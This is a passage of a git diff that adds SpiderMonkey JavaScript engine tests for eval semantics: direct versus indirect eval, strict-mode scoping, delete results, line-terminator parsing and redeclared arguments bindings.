+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..5f4089f3d1
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..c225b97966
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js
@@ -0,0 +1,174 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js
new file mode 100644
index 0000000000..4a6b289f29
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js
@@ -0,0 +1,173 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js
new file mode 100644
index 0000000000..2e624ecb36
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js
@@ -0,0 +1,175 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..ac11ccb73d
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js
@@ -0,0 +1,173 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..137a8bad71
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js
@@ -0,0 +1,175 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/line-terminator-paragraph-terminator.js b/js/src/tests/non262/eval/line-terminator-paragraph-terminator.js
new file mode 100644
index 0000000000..9a904073ab
--- /dev/null
+++ b/js/src/tests/non262/eval/line-terminator-paragraph-terminator.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657367;
+var summary =
+ "eval via the JSON parser should parse strings containing U+2028/U+2029 " +
+ "(as of <https://tc39.github.io/proposal-json-superset/>, that is)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(eval('("\u2028")'), "\u2028");
+assertEq(eval('("\u2029")'), "\u2029");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js b/js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js
new file mode 100644
index 0000000000..58d94d6f70
--- /dev/null
+++ b/js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js
@@ -0,0 +1,87 @@
+// Ensure there's no predefined |arguments| binding.
+assertEq("arguments" in this, false);
+
+// Declare |arguments| when no pre-existing (and explicit) |arguments| bindings are present.
+function f1(p = eval("var arguments")) {}
+assertThrowsInstanceOf(f1, SyntaxError);
+
+// Declare |arguments| when the function body contains an |arguments| var-binding.
+function f2(p = eval("var arguments")) {
+ var arguments;
+}
+assertThrowsInstanceOf(f2, SyntaxError);
+
+// Declare |arguments| when the function body contains an |arguments| function declaration.
+//
+// <https://tc39.es/ecma262/#sec-functiondeclarationinstantiation> doesn't create the
+// implicit |arguments| binding when no parameter expressions are present. This case
+// may be special-cased in implementations and therefore should be tested specifically.
+function f3(p = eval("var arguments")) {
+ function arguments() {}
+}
+assertThrowsInstanceOf(f3, SyntaxError);
+
+// Declare |arguments| when the function body contains an |arguments| lexical binding.
+//
